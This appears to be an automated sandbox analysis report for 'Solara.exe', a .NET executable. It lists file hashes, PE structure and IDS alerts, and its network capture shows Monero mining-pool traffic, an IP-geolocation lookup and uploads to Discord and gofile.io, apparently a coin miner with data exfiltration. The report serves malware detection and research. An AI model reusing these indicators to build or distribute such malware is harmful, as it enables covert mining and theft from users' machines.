Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.995071480993302
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Solara.exe
File size:	14'390'272 bytes
MD5:	cc6d7a6b17febe201b7f7d26ce944c08
SHA1:	231e8439c0facca7cc4b730bf950351d48e3a7c2
SHA256:	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd
SHA512:	c2abd5a8a59e09951df3d17b591442097cb2615a57abbef9afee9660dcd59ece483ca9a6ab4e83a622235eef4c75ef64dc2b32b58829cef8c485e1517e9ba652
SSDEEP:	393216:KsEANEX3gBGYVwwoE0VhUqE7SlO9h4m/a360m:KhIEX3kGN/XBEWs4EA60m
TLSH:	6DE6337007A4C5CFD7844BF98581BA78B878CAE5B822FAC57D2E75D8992134C2CD6E4C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Hhg.................j...(......>.... ........@.. ....................................@................................

File Icon


Icon Hash:	f0e1e4f0d8e972c3

Static PE Info

General

Entrypoint:	0x117883e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x676848DC [Sun Dec 22 17:14:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd787e8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd7a000	0x4259c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xdbe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd76844	0xd76a00	b86e10d7f696482688377d459d00c7b8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd7a000	0x4259c	0x42600	0b1fce832b0a653efc0e29865ab321e9	False	0.3729585981638418	data	5.623945089143449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xdbe000	0xc	0x200	31c1452d083fe81a07085e801843b705	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xd7a130	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144	0.3722519750273693
RT_GROUP_ICON	0xdbc158	0x14	data	0.9
RT_VERSION	0xdbc16c	0x244	data	0.4706896551724138
RT_MANIFEST	0xdbc3b0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-12T07:10:24.458989+0100	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.7	49857	80.240.16.67	443	TCP
2025-01-12T07:10:50.120905+0100	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.7	62230	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 07:10:50.130175114 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:50.130215883 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:50.130271912 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:50.130491972 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:50.130508900 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:50.819168091 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:50.821005106 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:50.821018934 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:50.822875023 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:50.822952032 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:50.824537039 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:50.824610949 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:50.873631954 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:50.873639107 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:50.982975960 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:10:51.143615961 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:10:51.186113119 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:11:01.103049040 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:11:01.186180115 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:11:09.416131973 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:11:09.576869965 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:11:17.868184090 CET	49982	80	192.168.2.7	208.95.112.1
Jan 12, 2025 07:11:17.873063087 CET	80	49982	208.95.112.1	192.168.2.7
Jan 12, 2025 07:11:17.873158932 CET	49982	80	192.168.2.7	208.95.112.1
Jan 12, 2025 07:11:17.874192953 CET	49982	80	192.168.2.7	208.95.112.1
Jan 12, 2025 07:11:17.879093885 CET	80	49982	208.95.112.1	192.168.2.7
Jan 12, 2025 07:11:18.338527918 CET	80	49982	208.95.112.1	192.168.2.7
Jan 12, 2025 07:11:18.351532936 CET	49982	80	192.168.2.7	208.95.112.1
Jan 12, 2025 07:11:18.356682062 CET	80	49982	208.95.112.1	192.168.2.7
Jan 12, 2025 07:11:18.360771894 CET	49982	80	192.168.2.7	208.95.112.1
Jan 12, 2025 07:11:27.260097027 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.260126114 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.260210991 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.261075020 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.261089087 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.742584944 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.743201017 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.743210077 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.744371891 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.744432926 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.745337009 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.745515108 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.745695114 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.745702982 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.745809078 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.787322998 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.956113100 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.956233978 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.956285954 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.957736015 CET	49983	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.957751989 CET	443	49983	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.959559917 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.959599972 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:27.959695101 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.960196018 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:27.960210085 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.450489998 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.450998068 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:28.451016903 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.452076912 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.452145100 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:28.453103065 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:28.453176022 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.453365088 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:28.453372002 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.453461885 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:28.499322891 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.660053968 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.660201073 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.660252094 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:28.661653042 CET	49984	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:28.661672115 CET	443	49984	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:28.663947105 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:28.663992882 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:28.664063931 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:28.664592981 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:28.664608955 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.136555910 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.144351959 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.144366980 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.145423889 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.145495892 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.155828953 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.155941963 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.163055897 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.163074017 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.222625971 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.222687006 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.222847939 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.222884893 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223000050 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223030090 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223130941 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223207951 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223242998 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223499060 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223534107 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223707914 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223746061 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223759890 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223766088 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223906994 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223927021 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223954916 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.223969936 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.223978996 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.224106073 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.224153042 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.224181890 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.233427048 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.233628988 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.233659983 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.233683109 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.233714104 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.233717918 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.233733892 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.233753920 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:29.233819008 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:29.238651991 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:30.091965914 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:30.092107058 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:30.092159986 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:30.093244076 CET	49985	443	192.168.2.7	162.159.135.233
Jan 12, 2025 07:11:30.093256950 CET	443	49985	162.159.135.233	192.168.2.7
Jan 12, 2025 07:11:30.581722975 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:30.581811905 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:30.581876993 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:30.582484961 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:30.582520008 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.209825039 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.210392952 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:31.210442066 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.211519957 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.211601973 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:31.212558985 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:31.212640047 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.212917089 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:31.212935925 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.389405966 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:31.455667019 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.455769062 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.455827951 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:31.456574917 CET	49990	443	192.168.2.7	51.91.7.6
Jan 12, 2025 07:11:31.456617117 CET	443	49990	51.91.7.6	192.168.2.7
Jan 12, 2025 07:11:31.509738922 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:11:31.576935053 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:11:31.901527882 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:31.901571989 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:31.901704073 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:31.902328968 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:31.902350903 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:32.544842005 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:32.545384884 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.545404911 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:32.546940088 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:32.547087908 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.548650980 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.548650980 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.548798084 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:32.548826933 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.549396992 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.549412966 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:32.549530029 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.549571037 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:32.550276041 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.550276041 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:32.550396919 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:34.719477892 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:34.719558001 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:34.719705105 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:34.720983028 CET	49991	443	192.168.2.7	45.112.123.227
Jan 12, 2025 07:11:34.721000910 CET	443	49991	45.112.123.227	192.168.2.7
Jan 12, 2025 07:11:34.723177910 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:34.723231077 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:34.723501921 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:34.723984003 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:34.724011898 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:35.195276022 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:35.195842981 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:35.195875883 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:35.196906090 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:35.196984053 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:35.198105097 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:35.198177099 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:35.198364019 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:35.198453903 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:35.198465109 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:35.358275890 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:36.748317003 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:36.748431921 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:36.748683929 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:36.750222921 CET	49992	443	192.168.2.7	162.159.134.233
Jan 12, 2025 07:11:36.750242949 CET	443	49992	162.159.134.233	192.168.2.7
Jan 12, 2025 07:11:47.779810905 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:11:47.826955080 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:12:01.105902910 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:12:01.155129910 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:12:09.462213993 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:12:09.514564037 CET	49857	443	192.168.2.7	80.240.16.67
Jan 12, 2025 07:12:31.513183117 CET	443	49857	80.240.16.67	192.168.2.7
Jan 12, 2025 07:12:31.561687946 CET	49857	443	192.168.2.7	80.240.16.67

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 07:10:50.120904922 CET	62230	53	192.168.2.7	1.1.1.1
Jan 12, 2025 07:10:50.127825022 CET	53	62230	1.1.1.1	192.168.2.7
Jan 12, 2025 07:11:17.859173059 CET	59352	53	192.168.2.7	1.1.1.1
Jan 12, 2025 07:11:17.865780115 CET	53	59352	1.1.1.1	192.168.2.7
Jan 12, 2025 07:11:27.251852989 CET	62342	53	192.168.2.7	1.1.1.1
Jan 12, 2025 07:11:27.258626938 CET	53	62342	1.1.1.1	192.168.2.7
Jan 12, 2025 07:11:30.573817015 CET	58479	53	192.168.2.7	1.1.1.1
Jan 12, 2025 07:11:30.580466032 CET	53	58479	1.1.1.1	192.168.2.7
Jan 12, 2025 07:11:31.892726898 CET	62565	53	192.168.2.7	1.1.1.1
Jan 12, 2025 07:11:31.899880886 CET	53	62565	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 12, 2025 07:10:50.120904922 CET	192.168.2.7	1.1.1.1	0x6c8d	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:17.859173059 CET	192.168.2.7	1.1.1.1	0xd0c9	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:27.251852989 CET	192.168.2.7	1.1.1.1	0x181e	Standard query (0)	discordapp.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:30.573817015 CET	192.168.2.7	1.1.1.1	0x3f9f	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:31.892726898 CET	192.168.2.7	1.1.1.1	0xc296	Standard query (0)	store1.gofile.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 12, 2025 07:10:23.777848959 CET	1.1.1.1	192.168.2.7	0x78f4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 07:10:23.777848959 CET	1.1.1.1	192.168.2.7	0x78f4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:10:50.127825022 CET	1.1.1.1	192.168.2.7	0x6c8d	No error (0)	pool.hashvault.pro		192.248.189.11	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:10:50.127825022 CET	1.1.1.1	192.168.2.7	0x6c8d	No error (0)	pool.hashvault.pro		80.240.16.67	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:17.865780115 CET	1.1.1.1	192.168.2.7	0xd0c9	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:27.258626938 CET	1.1.1.1	192.168.2.7	0x181e	No error (0)	discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:27.258626938 CET	1.1.1.1	192.168.2.7	0x181e	No error (0)	discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:27.258626938 CET	1.1.1.1	192.168.2.7	0x181e	No error (0)	discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:27.258626938 CET	1.1.1.1	192.168.2.7	0x181e	No error (0)	discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:27.258626938 CET	1.1.1.1	192.168.2.7	0x181e	No error (0)	discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:30.580466032 CET	1.1.1.1	192.168.2.7	0x3f9f	No error (0)	api.gofile.io		51.91.7.6	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:30.580466032 CET	1.1.1.1	192.168.2.7	0x3f9f	No error (0)	api.gofile.io		45.112.123.126	A (IP address)	IN (0x0001)	false
Jan 12, 2025 07:11:31.899880886 CET	1.1.1.1	192.168.2.7	0xc296	No error (0)	store1.gofile.io		45.112.123.227	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discordapp.com

